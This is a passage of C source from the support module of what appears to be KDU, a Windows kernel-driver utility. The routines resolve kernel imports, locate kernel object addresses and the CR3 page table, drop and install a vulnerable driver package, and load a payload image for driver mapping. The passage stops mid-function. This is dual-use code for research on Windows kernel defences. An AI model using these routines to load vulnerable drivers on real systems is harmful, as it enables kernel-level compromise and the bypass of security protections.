ULONG_PTR supGetNtOsBase(
VOID
)
{
PRTL_PROCESS_MODULES miSpace;
ULONG_PTR NtOsBase = 0;
miSpace = (PRTL_PROCESS_MODULES)supGetLoadedModulesList(FALSE, NULL);
if (miSpace) {
NtOsBase = (ULONG_PTR)miSpace->Modules[0].ImageBase;
supHeapFree(miSpace);
}
return NtOsBase;
}
/*
* supGetProcAddress
*
* Purpose:
*
* Get NtOskrnl procedure address.
*
*/
ULONG_PTR supGetProcAddress(
_In_ ULONG_PTR KernelBase,
_In_ ULONG_PTR KernelImage,
_In_ LPCSTR FunctionName
)
{
ANSI_STRING cStr;
ULONG_PTR pfn = 0;
RtlInitString(&cStr, FunctionName);
if (!NT_SUCCESS(LdrGetProcedureAddress((PVOID)KernelImage, &cStr, 0, (PVOID*)&pfn)))
return 0;
return KernelBase + (pfn - KernelImage);
}
/*
* supResolveKernelImport
*
* Purpose:
*
* Resolve import (ntoskrnl only).
*
*/
VOID supResolveKernelImport(
_In_ ULONG_PTR Image,
_In_ ULONG_PTR KernelImage,
_In_ ULONG_PTR KernelBase
)
{
PIMAGE_OPTIONAL_HEADER popth;
ULONG_PTR ITableVA, * nextthunk;
PIMAGE_IMPORT_DESCRIPTOR ITable;
PIMAGE_THUNK_DATA pthunk;
PIMAGE_IMPORT_BY_NAME pname;
ULONG i;
popth = &RtlImageNtHeader((PVOID)Image)->OptionalHeader;
if (popth->NumberOfRvaAndSizes <= IMAGE_DIRECTORY_ENTRY_IMPORT)
return;
ITableVA = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if (ITableVA == 0)
return;
ITable = (PIMAGE_IMPORT_DESCRIPTOR)(Image + ITableVA);
if (ITable->OriginalFirstThunk == 0)
pthunk = (PIMAGE_THUNK_DATA)(Image + ITable->FirstThunk);
else
pthunk = (PIMAGE_THUNK_DATA)(Image + ITable->OriginalFirstThunk);
for (i = 0; pthunk->u1.Function != 0; i++, pthunk++) {
nextthunk = (PULONG_PTR)(Image + ITable->FirstThunk);
if ((pthunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) == 0) {
pname = (PIMAGE_IMPORT_BY_NAME)((PCHAR)Image + pthunk->u1.AddressOfData);
nextthunk[i] = supGetProcAddress(KernelBase, KernelImage, pname->Name);
}
else
nextthunk[i] = supGetProcAddress(KernelBase, KernelImage, (LPCSTR)(pthunk->u1.Ordinal & 0xffff));
}
}
/*
* supQueryObjectFromHandle
*
* Purpose:
*
* Return object kernel address from handle in current process handle table.
*
*/
BOOL supQueryObjectFromHandle(
_In_ HANDLE hOject,
_Out_ ULONG_PTR* Address
)
{
BOOL bFound = FALSE;
ULONG i;
DWORD CurrentProcessId = GetCurrentProcessId();
PSYSTEM_HANDLE_INFORMATION_EX pHandles;
if (Address)
*Address = 0;
else
return FALSE;
pHandles = (PSYSTEM_HANDLE_INFORMATION_EX)supGetSystemInfo(SystemExtendedHandleInformation);
if (pHandles) {
for (i = 0; i < pHandles->NumberOfHandles; i++) {
if (pHandles->Handles[i].UniqueProcessId == CurrentProcessId) {
if (pHandles->Handles[i].HandleValue == (ULONG_PTR)hOject) {
*Address = (ULONG_PTR)pHandles->Handles[i].Object;
bFound = TRUE;
break;
}
}
}
supHeapFree(pHandles);
}
return bFound;
}
/*
* supGetCommandLineOption
*
* Purpose:
*
* Parse command line options.
*
*/
BOOL supGetCommandLineOption(
_In_ LPCTSTR OptionName,
_In_ BOOL IsParametric,
_Inout_opt_ LPTSTR OptionValue,
_In_ ULONG ValueSize,
_Out_opt_ PULONG ParamLength
)
{
BOOL bResult;
LPTSTR cmdline = GetCommandLine();
TCHAR Param[MAX_PATH + 1];
ULONG rlen;
int i = 0;
if (ParamLength)
*ParamLength = 0;
RtlSecureZeroMemory(Param, sizeof(Param));
while (GetCommandLineParam(cmdline, i, Param, MAX_PATH, &rlen))
{
if (rlen == 0)
break;
if (_strcmp(Param, OptionName) == 0)
{
if (IsParametric) {
bResult = GetCommandLineParam(cmdline, i + 1, OptionValue, ValueSize, &rlen);
if (ParamLength)
*ParamLength = rlen;
return bResult;
}
return TRUE;
}
++i;
}
return FALSE;
}
/*
* supQueryMaximumUserModeAddress
*
* Purpose:
*
* Return maximum user mode address.
*
*/
ULONG_PTR supQueryMaximumUserModeAddress()
{
NTSTATUS ntStatus;
SYSTEM_BASIC_INFORMATION basicInfo;
ULONG returnLength = 0;
SYSTEM_INFO systemInfo;
RtlSecureZeroMemory(&basicInfo, sizeof(basicInfo));
ntStatus = NtQuerySystemInformation(SystemBasicInformation,
&basicInfo,
sizeof(basicInfo),
&returnLength);
if (NT_SUCCESS(ntStatus)) {
return basicInfo.MaximumUserModeAddress;
}
else {
RtlSecureZeroMemory(&systemInfo, sizeof(systemInfo));
GetSystemInfo(&systemInfo);
return (ULONG_PTR)systemInfo.lpMaximumApplicationAddress;
}
}
/*
* supQuerySecureBootState
*
* Purpose:
*
* Query Firmware type and SecureBoot state if firmware is EFI.
*
*/
BOOLEAN supQuerySecureBootState(
_Out_ PBOOLEAN pbSecureBoot
)
{
BOOLEAN bResult = FALSE;
BOOLEAN bSecureBoot = FALSE;
if (pbSecureBoot)
*pbSecureBoot = FALSE;
if (NT_SUCCESS(supEnablePrivilege(SE_SYSTEM_ENVIRONMENT_PRIVILEGE, TRUE))) {
bSecureBoot = FALSE;
GetFirmwareEnvironmentVariable(
L"SecureBoot",
L"{8be4df61-93ca-11d2-aa0d-00e098032b8c}",
&bSecureBoot,
sizeof(BOOLEAN));
supEnablePrivilege(SE_SYSTEM_ENVIRONMENT_PRIVILEGE, FALSE);
if (pbSecureBoot) {
*pbSecureBoot = bSecureBoot;
}
bResult = TRUE;
}
return bResult;
}
/*
* supGetFirmwareType
*
* Purpose:
*
* Return firmware type.
*
*/
NTSTATUS supGetFirmwareType(
_Out_ PFIRMWARE_TYPE FirmwareType
)
{
NTSTATUS ntStatus;
ULONG returnLength = 0;
SYSTEM_BOOT_ENVIRONMENT_INFORMATION sbei;
*FirmwareType = FirmwareTypeUnknown;
RtlSecureZeroMemory(&sbei, sizeof(sbei));
ntStatus = NtQuerySystemInformation(SystemBootEnvironmentInformation,
&sbei,
sizeof(sbei),
&returnLength);
if (NT_SUCCESS(ntStatus)) {
*FirmwareType = sbei.FirmwareType;
}
return ntStatus;
}
/*
* supReadFileToBuffer
*
* Purpose:
*
* Read file to buffer. Release memory when it no longer needed.
*
*/
PBYTE supReadFileToBuffer(
_In_ LPWSTR lpFileName,
_Inout_opt_ LPDWORD lpBufferSize
)
{
NTSTATUS status;
HANDLE hFile = NULL;
PBYTE Buffer = NULL;
SIZE_T sz = 0;
UNICODE_STRING usName;
OBJECT_ATTRIBUTES attr;
IO_STATUS_BLOCK iost;
FILE_STANDARD_INFORMATION fi;
if (lpFileName == NULL)
return NULL;
usName.Buffer = NULL;
do {
if (!RtlDosPathNameToNtPathName_U(lpFileName, &usName, NULL, NULL))
break;
InitializeObjectAttributes(&attr, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = NtCreateFile(
&hFile,
FILE_READ_DATA | SYNCHRONIZE,
&attr,
&iost,
NULL,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ,
FILE_OPEN,
FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0
);
if (!NT_SUCCESS(status)) {
break;
}
RtlSecureZeroMemory(&fi, sizeof(fi));
status = NtQueryInformationFile(
hFile,
&iost,
&fi,
sizeof(FILE_STANDARD_INFORMATION),
FileStandardInformation);
if (!NT_SUCCESS(status))
break;
sz = (SIZE_T)fi.EndOfFile.LowPart;
Buffer = (PBYTE)supHeapAlloc(sz);
if (Buffer) {
status = NtReadFile(
hFile,
NULL,
NULL,
NULL,
&iost,
Buffer,
fi.EndOfFile.LowPart,
NULL,
NULL);
if (NT_SUCCESS(status)) {
if (lpBufferSize)
*lpBufferSize = fi.EndOfFile.LowPart;
}
else {
supHeapFree(Buffer);
Buffer = NULL;
}
}
} while (FALSE);
if (hFile != NULL) {
NtClose(hFile);
}
if (usName.Buffer)
RtlFreeUnicodeString(&usName);
return Buffer;
}
/*
* supGetPML4FromLowStub1M
*
* Purpose:
*
* Search for PML4 (CR3) entry in low stub.
*
* Taken from MemProcFs, https://github.com/ufrisk/MemProcFS/blob/master/vmm/vmmwininit.c#L414
*
*/
ULONG_PTR supGetPML4FromLowStub1M(
_In_ ULONG_PTR pbLowStub1M)
{
ULONG offset = 0;
ULONG_PTR PML4 = 0;
ULONG cr3_offset = FIELD_OFFSET(PROCESSOR_START_BLOCK, ProcessorState) +
FIELD_OFFSET(KSPECIAL_REGISTERS, Cr3);
SetLastError(ERROR_EXCEPTION_IN_SERVICE);
__try {
while (offset < 0x100000) {
offset += 0x1000;
if (0x00000001000600E9 != (0xffffffffffff00ff & *(UINT64*)(pbLowStub1M + offset))) //PROCESSOR_START_BLOCK->Jmp
continue;
if (0xfffff80000000000 != (0xfffff80000000003 & *(UINT64*)(pbLowStub1M + offset + FIELD_OFFSET(PROCESSOR_START_BLOCK, LmTarget))))
continue;
if (0xffffff0000000fff & *(UINT64*)(pbLowStub1M + offset + cr3_offset))
continue;
PML4 = *(UINT64*)(pbLowStub1M + offset + cr3_offset);
break;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
return 0;
}
SetLastError(ERROR_SUCCESS);
return PML4;
}
/*
* supCreateSystemAdminAccessSD
*
* Purpose:
*
* Create security descriptor with Admin/System ACL set.
*
*/
NTSTATUS supCreateSystemAdminAccessSD(
_Out_ PSECURITY_DESCRIPTOR * SecurityDescriptor,
_Out_ PACL * DefaultAcl
)
{
NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
ULONG aclSize = 0;
SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;
PACL pAcl = NULL;
PSECURITY_DESCRIPTOR securityDescriptor = NULL;
UCHAR sidBuffer[2 * sizeof(SID)];
*SecurityDescriptor = NULL;
*DefaultAcl = NULL;
do {
RtlSecureZeroMemory(sidBuffer, sizeof(sidBuffer));
securityDescriptor = (PSECURITY_DESCRIPTOR)supHeapAlloc(sizeof(SECURITY_DESCRIPTOR));
if (securityDescriptor == NULL) {
ntStatus = STATUS_INSUFFICIENT_RESOURCES;
break;
}
aclSize += RtlLengthRequiredSid(1); //LocalSystem sid
aclSize += RtlLengthRequiredSid(2); //Admin group sid
aclSize += sizeof(ACL);
aclSize += 2 * (sizeof(ACCESS_ALLOWED_ACE) - sizeof(ULONG));
pAcl = (PACL)supHeapAlloc(aclSize);
if (pAcl == NULL) {
ntStatus = STATUS_INSUFFICIENT_RESOURCES;
break;
}
ntStatus = RtlCreateAcl(pAcl, aclSize, ACL_REVISION);
if (!NT_SUCCESS(ntStatus))
break;
//
// Local System - Generic All.
//
RtlInitializeSid(sidBuffer, &ntAuthority, 1);
*(RtlSubAuthoritySid(sidBuffer, 0)) = SECURITY_LOCAL_SYSTEM_RID;
RtlAddAccessAllowedAce(pAcl, ACL_REVISION, GENERIC_ALL, (PSID)sidBuffer);
//
// Admins - Generic All.
//
RtlInitializeSid(sidBuffer, &ntAuthority, 2);
*(RtlSubAuthoritySid(sidBuffer, 0)) = SECURITY_BUILTIN_DOMAIN_RID;
*(RtlSubAuthoritySid(sidBuffer, 1)) = DOMAIN_ALIAS_RID_ADMINS;
RtlAddAccessAllowedAce(pAcl, ACL_REVISION, GENERIC_ALL, (PSID)sidBuffer);
ntStatus = RtlCreateSecurityDescriptor(securityDescriptor,
SECURITY_DESCRIPTOR_REVISION1);
if (!NT_SUCCESS(ntStatus))
break;
ntStatus = RtlSetDaclSecurityDescriptor(securityDescriptor,
TRUE,
pAcl,
FALSE);
if (!NT_SUCCESS(ntStatus))
break;
*SecurityDescriptor = securityDescriptor;
*DefaultAcl = pAcl;
} while (FALSE);
if (!NT_SUCCESS(ntStatus)) {
if (pAcl) supHeapFree(pAcl);
if (securityDescriptor) {
supHeapFree(securityDescriptor);
}
*SecurityDescriptor = NULL;
*DefaultAcl = NULL;
}
return ntStatus;
}
/*
* supGetTimeAsSecondsSince1970
*
* Purpose:
*
* Return seconds since 1970.
*
*/
ULONG supGetTimeAsSecondsSince1970()
{
LARGE_INTEGER fileTime;
ULONG seconds = 0;
GetSystemTimeAsFileTime((PFILETIME)&fileTime);
RtlTimeToSecondsSince1970(&fileTime, &seconds);
return seconds;
}
/*
* supGetModuleBaseByName
*
* Purpose:
*
* Return module base address.
*
*/
ULONG_PTR supGetModuleBaseByName(
_In_ LPCWSTR ModuleName,
_Out_opt_ PULONG ImageSize
)
{
ULONG_PTR ReturnAddress = 0;
ULONG i, k;
PRTL_PROCESS_MODULES miSpace;
ANSI_STRING moduleName;
if (ImageSize)
*ImageSize = 0;
moduleName.Buffer = NULL;
moduleName.Length = moduleName.MaximumLength = 0;
if (!NT_SUCCESS(supConvertToAnsi(ModuleName, &moduleName)))
return 0;
miSpace = (PRTL_PROCESS_MODULES)supGetLoadedModulesList(FALSE, NULL);
if (miSpace != NULL) {
for (i = 0; i < miSpace->NumberOfModules; i++) {
k = miSpace->Modules[i].OffsetToFileName;
if (_strcmpi_a(
(CONST CHAR*) & miSpace->Modules[i].FullPathName[k],
moduleName.Buffer) == 0)
{
ReturnAddress = (ULONG_PTR)miSpace->Modules[i].ImageBase;
if (ImageSize)
*ImageSize = miSpace->Modules[i].ImageSize;
break;
}
}
supHeapFree(miSpace);
}
RtlFreeAnsiString(&moduleName);
return ReturnAddress;
}
/*
* supManageDummyDll
*
* Purpose:
*
* Drop dummy dll to the %temp% and load it to trigger ImageLoad notify callbacks.
* If fRemove set to TRUE then remove previously dropped file and return result of operation.
*
*/
BOOL supManageDummyDll(
_In_ LPCWSTR lpDllName,
_In_ BOOLEAN fRemove
)
{
BOOL bResult = FALSE;
ULONG dataSize = 0;
PBYTE dataBuffer;
PVOID dllHandle;
LPWSTR lpFileName;
SIZE_T Length = (1024 + _strlen(lpDllName)) * sizeof(WCHAR);
//
// Allocate space for filename.
//
lpFileName = (LPWSTR)supHeapAlloc(Length);
if (lpFileName == NULL) {
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
return FALSE;
}
if (fRemove) {
HMODULE hModule = GetModuleHandle(lpDllName);
if (hModule) {
if (GetModuleFileName(hModule, lpFileName, MAX_PATH)) {
FreeLibrary(hModule);
bResult = DeleteFile(lpFileName);
}
}
}
else {
DWORD cch = supExpandEnvironmentStrings(L"%temp%\\", lpFileName, MAX_PATH);
if (cch == 0 || cch > MAX_PATH) {
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
}
else {
//
// Extract file from resource and drop to the disk in %temp% directory.
//
dllHandle = (PVOID)GetModuleHandle(NULL);
dataBuffer = (PBYTE)KDULoadResource(IDR_TAIGEI64,
dllHandle,
&dataSize,
PROVIDER_RES_KEY,
TRUE);
if (dataBuffer) {
_strcat(lpFileName, lpDllName);
if (dataSize == supWriteBufferToFile(lpFileName,
dataBuffer,
dataSize,
TRUE,
FALSE,
NULL))
{
//
// Finally load file and trigger image notify callbacks.
//
if (LoadLibraryEx(lpFileName, NULL, 0))
bResult = TRUE;
}
supHeapFree(dataBuffer);
}
else {
SetLastError(ERROR_FILE_INVALID);
}
}
}
supHeapFree(lpFileName);
return bResult;
}
/*
* supSelectNonPagedPoolTag
*
* Purpose:
*
* Query most used nonpaged pool tag.
*
*/
ULONG supSelectNonPagedPoolTag(
VOID
)
{
ULONG ulResult = SHELL_POOL_TAG;
PSYSTEM_POOLTAG_INFORMATION pvPoolInfo;
pvPoolInfo = (PSYSTEM_POOLTAG_INFORMATION)supGetSystemInfo(SystemPoolTagInformation);
if (pvPoolInfo) {
SIZE_T maxUse = 0;
for (ULONG i = 0; i < pvPoolInfo->Count; i++) {
if (pvPoolInfo->TagInfo[i].NonPagedUsed > maxUse) {
maxUse = pvPoolInfo->TagInfo[i].NonPagedUsed;
ulResult = pvPoolInfo->TagInfo[i].TagUlong;
}
}
supHeapFree(pvPoolInfo);
}
return ulResult;
}
/*
* supLoadFileForMapping
*
* Purpose:
*
* Load input file for further driver mapping.
*
*/
NTSTATUS supLoadFileForMapping(
_In_ LPCWSTR PayloadFileName,
_Out_ PVOID * LoadBase
)
{
NTSTATUS ntStatus;
ULONG dllCharacteristics = IMAGE_FILE_EXECUTABLE_IMAGE;
UNICODE_STRING usFileName;
PVOID pvImage = NULL;
PIMAGE_NT_HEADERS pNtHeaders;
*LoadBase = NULL;
//
// Map input file as image.
//
RtlInitUnicodeString(&usFileName, PayloadFileName);
ntStatus = LdrLoadDll(NULL, &dllCharacteristics, &usFileName, &pvImage);
if ((!NT_SUCCESS(ntStatus)) || (pvImage == NULL)) {
return ntStatus;
}
pNtHeaders = RtlImageNtHeader(pvImage);
if (pNtHeaders == NULL) {
LdrUnloadDll(pvImage);
return STATUS_INVALID_IMAGE_FORMAT;
}
*LoadBase = pvImage;
return STATUS_SUCCESS;
}
/*
* supPrintfEvent
*
* Purpose:
*
* Wrapper for printf_s for displaying specific events.
*
*/
VOID supPrintfEvent(
_In_ KDU_EVENT_TYPE Event,
_Printf_format_string_ LPCSTR Format,
...
)
{
HANDLE stdHandle = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO screenBufferInfo;
WORD origColor = FOREGROUND_BLUE | FOREGROUND_RED | FOREGROUND_GREEN, newColor;
va_list args;
//
// Rememeber original text color.
//
if (GetConsoleScreenBufferInfo(stdHandle, &screenBufferInfo)) {
origColor = *(&screenBufferInfo.wAttributes);
}
switch (Event) {
case kduEventInformation:
newColor = FOREGROUND_GREEN | FOREGROUND_INTENSITY;
break;
case kduEventError:
newColor = FOREGROUND_RED | FOREGROUND_INTENSITY;
break;
default:
newColor = FOREGROUND_BLUE | FOREGROUND_RED | FOREGROUND_GREEN;
break;
}
SetConsoleTextAttribute(stdHandle, newColor);
//
// Printf message.
//
va_start(args, Format);
vprintf_s(Format, args);
va_end(args);
//
// Restore original text color.
//
SetConsoleTextAttribute(stdHandle, origColor);
}
/*
* supQueryImageSize
*
* Purpose:
*
* Get image size from PEB loader list.
*
*/
NTSTATUS supQueryImageSize(
_In_ PVOID ImageBase,
_Out_ PSIZE_T ImageSize
)
{
NTSTATUS ntStatus;
LDR_DATA_TABLE_ENTRY* ldrEntry = NULL;
*ImageSize = 0;
ntStatus = LdrFindEntryForAddress(
ImageBase,
&ldrEntry);
if (NT_SUCCESS(ntStatus)) {
*ImageSize = ldrEntry->SizeOfImage;
}
return ntStatus;
}
/*
* supxCreatePseudoRandomStringFromU64
*
* Purpose:
*
* Create pseudo random string from UI64 value.
*
*/
VOID supxCreatePseudoRandomStringFromU64(
_In_ unsigned __int64 x,
_Inout_ wchar_t* s
)
{
char tbl[64];
char c = 0;
int p;
tbl[62] = '-';
tbl[63] = '_';
for (c = 0; c < 26; ++c)
{
tbl[c] = 'A' + c;
tbl[26 + c] = 'a' + c;
if (c < 10)
tbl[52 + c] = '0' + c;
}
for (p = 0; p < 13; ++p)
{
c = x & 0x3f;
x >>= 5;
*s = (wchar_t)tbl[c];
++s;
}
*s = 0;
}
/*
* supGenRandom
*
* Purpose:
*
* Generate pseudo-random value via CNG.
*
*/
BOOL supGenRandom(
_Inout_ PBYTE pbBuffer,
_In_ DWORD cbBuffer
)
{
BOOL bResult = FALSE;
BCRYPT_ALG_HANDLE hAlgRng = NULL;
do {
if (!NT_SUCCESS(BCryptOpenAlgorithmProvider(
&hAlgRng,
BCRYPT_RNG_ALGORITHM,
NULL,
0)))
{
break;
}
bResult = (NT_SUCCESS(BCryptGenRandom(
hAlgRng,
pbBuffer,
cbBuffer,
0)));
} while (FALSE);
if (hAlgRng)
BCryptCloseAlgorithmProvider(hAlgRng, 0);
return bResult;
}
/*
* supGenerateSharedObjectName
*
* Purpose:
*
* Create pseudo random object name from it ID.
*
*/
VOID supGenerateSharedObjectName(
_In_ WORD ObjectId,
_Inout_ LPWSTR lpBuffer
)
{
ULARGE_INTEGER value;
PIMAGE_NT_HEADERS ntHeaders = RtlImageNtHeader(NtCurrentPeb()->ImageBaseAddress);
value.LowPart = MAKELONG(
MAKEWORD(KDU_VERSION_BUILD, KDU_VERSION_REVISION),
MAKEWORD(KDU_VERSION_MINOR, KDU_VERSION_MAJOR));
value.HighPart = MAKELONG(ntHeaders->OptionalHeader.CheckSum, ObjectId);
supxCreatePseudoRandomStringFromU64(value.QuadPart, lpBuffer);
}
/*
* supxSetupInstallDriverFromInf
*
* Purpose:
*
* Install and load device driver through SetupAPI.
*
*/
BOOL supxSetupInstallDriverFromInf(
_In_ LPCWSTR InfName,
_In_ BYTE* HardwareId,
_In_ ULONG HardwareIdLength,
_Out_ HDEVINFO* DeviceInfo,
_Inout_ SP_DEVINFO_DATA* DeviceInfoData,
_In_ ULONG InstallFlags
)
{
BOOL bResult = FALSE;
GUID classGUID;
HDEVINFO devInfoSet = NULL;
WCHAR className[MAX_CLASS_NAME_LEN];
*DeviceInfo = NULL;
do {
RtlSecureZeroMemory(&className, sizeof(className));
//
// Use the INF file to extract the class GUID.
//
if (!SetupDiGetINFClass(
InfName,
&classGUID,
(PWSTR)&className,
MAX_CLASS_NAME_LEN,
NULL))
{
break;
}
//
// Create the container for class GUID.
//
devInfoSet = SetupDiCreateDeviceInfoList(&classGUID, NULL);
if (devInfoSet == INVALID_HANDLE_VALUE)
break;
DeviceInfoData->cbSize = sizeof(SP_DEVINFO_DATA);
//
// Create the element.
//
if (!SetupDiCreateDeviceInfo(devInfoSet,
className,
&classGUID,
NULL,
NULL,
DICD_GENERATE_ID,
DeviceInfoData))
{
break;
}
//
// Add the HardwareID to the Device's HardwareID property.
//
if (!SetupDiSetDeviceRegistryProperty(devInfoSet,
DeviceInfoData,
SPDRP_HARDWAREID,
HardwareId,
HardwareIdLength))
{
break;
}
//
// Transform the registry element into an actual devnode in the PnP HW tree.
//
if (!SetupDiCallClassInstaller(DIF_REGISTERDEVICE,
devInfoSet,
DeviceInfoData))
{
break;
}
bResult = UpdateDriverForPlugAndPlayDevices(NULL,
(LPCWSTR)HardwareId,
InfName,
InstallFlags,
NULL);
} while (FALSE);
if (bResult) {
*DeviceInfo = devInfoSet;
}
else {
if (devInfoSet && devInfoSet != INVALID_HANDLE_VALUE)
SetupDiDestroyDeviceInfoList(devInfoSet);
}
return bResult;
}
/*
* supSetupManageFsFilterDriverPackage
*
* Purpose:
*
* Drop or remove required driver package files from disk in the current process directory.
*
*/
BOOL supSetupManageFsFilterDriverPackage(
_In_ PVOID Context,
_In_ BOOLEAN DoInstall,
_In_ PSUP_SETUP_DRVPKG DriverPackage
)
{
BOOL bResult = FALSE;
LPWSTR lpFileName;
KDU_CONTEXT* context = (KDU_CONTEXT*)Context;
PUNICODE_STRING CurrentDirectory = &NtCurrentPeb()->ProcessParameters->CurrentDirectory.DosPath;
SIZE_T allocSize = 64 +
_strlen(DriverPackage->InfFile) * sizeof(WCHAR) +
CurrentDirectory->Length +
sizeof(WCHAR);
ULONG lastError = ERROR_SUCCESS;
if (DoInstall) {
//
// Drop target driver.
//
if (!KDUProvExtractVulnerableDriver(context)) {
SetLastError(ERROR_INTERNAL_ERROR);
return FALSE;
}
}
//
// Drop inf file.
//
lpFileName = (LPWSTR)supHeapAlloc(allocSize);
if (lpFileName) {
StringCchPrintf(lpFileName, allocSize / sizeof(WCHAR), TEXT("%ws%ws"),
CurrentDirectory->Buffer,
DriverPackage->InfFile);
if (supExtractFileFromDB(context->ModuleBase, lpFileName, DriverPackage->InfFileResourceId)) {
WCHAR szCmd[MAX_PATH * 2];
WCHAR szFileName[MAX_PATH * 2];
StringCchPrintf(szCmd, ARRAYSIZE(szCmd),
TEXT("%ws 132 %ws"),
DoInstall ? TEXT("DefaultInstall") : TEXT("DefaultUninstall"),
lpFileName);
#pragma warning(push)
#pragma warning(disable: 6387)
InstallHinfSection(NULL, NULL, szCmd, 0);
#pragma warning(pop)
//
// Since it doesn't provide any way to check result we have to inspect changes ourself.
//
StringCchPrintf(szFileName, RTL_NUMBER_OF(szFileName), TEXT("%ws\\system32\\drivers\\%ws.sys"),
USER_SHARED_DATA->NtSystemRoot,
context->Provider->LoadData->DriverName);
if (RtlDoesFileExists_U(szFileName)) {
if (DoInstall)
bResult = TRUE;
else
lastError = ERROR_FILE_EXISTS;
}
else {
if (DoInstall)
lastError = ERROR_FILE_NOT_FOUND;
else
bResult = TRUE;
}
}
else {
lastError = ERROR_FILE_NOT_FOUND;
}
supHeapFree(lpFileName);
}
else {
lastError = ERROR_NOT_ENOUGH_MEMORY;
}
SetLastError(lastError);
return bResult;
}
/*
* supSetupManagePnpDriverPackage
*
* Purpose:
*
* Drop or remove required driver package files from disk in the current process directory.
*
*/
BOOL supSetupManagePnpDriverPackage(
_In_ PVOID Context,
_In_ BOOLEAN DoInstall,
_In_ PSUP_SETUP_DRVPKG DriverPackage
)
{
BOOL bResult = FALSE;
LPWSTR lpEnd;
LPWSTR lpFileName;
KDU_CONTEXT* context = (KDU_CONTEXT*)Context;
PUNICODE_STRING CurrentDirectory = &NtCurrentPeb()->ProcessParameters->CurrentDirectory.DosPath;
SIZE_T allocSize = 64 +
((_strlen(DriverPackage->CatalogFile) + _strlen(DriverPackage->InfFile)) * sizeof(WCHAR)) +
CurrentDirectory->Length +
sizeof(WCHAR);
ULONG length, lastError = ERROR_SUCCESS;
if (DoInstall) {
//
// Drop target driver.
//
if (!KDUProvExtractVulnerableDriver(context)) {
SetLastError(ERROR_INTERNAL_ERROR);
return FALSE;
}
//
// Drop cat and inf files.
//
lpFileName = (LPWSTR)supHeapAlloc(allocSize);
if (lpFileName) {
length = CurrentDirectory->Length / sizeof(WCHAR);
//
// Drop catalog file.
//
_strncpy(lpFileName,
length,
CurrentDirectory->Buffer,
length);
lpEnd = _strcat(lpFileName, L"\\");
_strcat(lpFileName, DriverPackage->CatalogFile);
if (supExtractFileFromDB(context->ModuleBase, lpFileName, DriverPackage->CatalogFileResourceId)) {
//
// Drop inf file.
//
*lpEnd = 0;
_strcat(lpFileName, DriverPackage->InfFile);
if (supExtractFileFromDB(context->ModuleBase, lpFileName, DriverPackage->InfFileResourceId)) {
//
// Install driver package.
//
bResult = supxSetupInstallDriverFromInf(lpFileName,
DriverPackage->Hwid,
DriverPackage->HwidLength,
&DriverPackage->DeviceInfo,
&DriverPackage->DeviceInfoData,
DriverPackage->InstallFlags);
if (!bResult)
lastError = GetLastError();
}
}
else {
lastError = ERROR_FILE_NOT_FOUND;
}
supHeapFree(lpFileName);
}
else {
lastError = ERROR_NOT_ENOUGH_MEMORY;
}
}
else {
lpFileName = (LPWSTR)supHeapAlloc(allocSize);
if (lpFileName) {
length = CurrentDirectory->Length / sizeof(WCHAR);
_strncpy(lpFileName,
length,
CurrentDirectory->Buffer,
length);
lpEnd = _strcat(lpFileName, L"\\");
_strcat(lpFileName, DriverPackage->CatalogFile);
DeleteFile(lpFileName);
*lpEnd = 0;
_strcat(lpFileName, DriverPackage->InfFile);
DeleteFile(lpFileName);
supHeapFree(lpFileName);
bResult = TRUE;
}
else {
lastError = ERROR_NOT_ENOUGH_MEMORY;
}
}
SetLastError(lastError);
return bResult;
}
/*
* supSetupRemoveDriver
*
* Purpose:
*
* Unload and remove device driver installed through SetupAPI.
*
*/
BOOL supSetupRemoveDriver(
_In_ HDEVINFO DeviceInfo,
_In_ SP_DEVINFO_DATA* DeviceInfoData
)
{
if (DeviceInfo != INVALID_HANDLE_VALUE) {
SetupDiRemoveDevice(DeviceInfo, DeviceInfoData);
return SetupDiDestroyDeviceInfoList(DeviceInfo);
}
return FALSE;
}
/*
* supQueryDeviceProperty
*
* Purpose:
*
* Allocate space and read device property.
*
*/
BOOL supQueryDeviceProperty(
_In_ HDEVINFO hDevInfo,
_In_ SP_DEVINFO_DATA* pDevInfoData,
_In_ ULONG Property,
_Out_ LPWSTR* PropertyBuffer,
_Out_opt_ ULONG* PropertyBufferSize
)
{
BOOL result = FALSE;
DWORD dataType = 0, dataSize, returnLength = 0;
LPWSTR lpProperty = NULL;
dataSize = (MAX_PATH * sizeof(WCHAR)) + sizeof(UNICODE_NULL);
lpProperty = (LPWSTR)supHeapAlloc(dataSize);
if (lpProperty) {
result = SetupDiGetDeviceRegistryProperty(hDevInfo,
pDevInfoData,
Property,
&dataType,
(PBYTE)lpProperty,
dataSize,
&returnLength);
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
supHeapFree(lpProperty);
dataSize = returnLength;
lpProperty = (LPWSTR)supHeapAlloc(dataSize);
if (lpProperty) {
result = SetupDiGetDeviceRegistryProperty(hDevInfo,
pDevInfoData,
Property,
&dataType,
(PBYTE)lpProperty,
dataSize,
&returnLength);
}
}
if (!result) {
if (lpProperty) {
supHeapFree(lpProperty);
lpProperty = NULL;
}
dataSize = 0;
}
}
*PropertyBuffer = lpProperty;
if (PropertyBufferSize)
*PropertyBufferSize = returnLength;
return result;
}
/*
* supSetupEnumDevices
*
* Purpose:
*
* Enumerate devices installed through SetupAPI.
*
*/
BOOL supSetupEnumDevices(
_In_ pfnSetupDeviceEnumCallback Callback,
_In_ PVOID CallbackParam
)
{
BOOL bResult = FALSE;
HDEVINFO deviceInfo;
SP_DEVINFO_DATA deviceData;
deviceInfo = SetupDiGetClassDevs(NULL, NULL, NULL, DIGCF_PRESENT | DIGCF_ALLCLASSES);
if (deviceInfo == INVALID_HANDLE_VALUE)
return FALSE;
RtlSecureZeroMemory(&deviceData, sizeof(deviceData));
deviceData.cbSize = sizeof(SP_DEVINFO_DATA);
for (ULONG i = 0; SetupDiEnumDeviceInfo(deviceInfo, i, &deviceData); i++) {
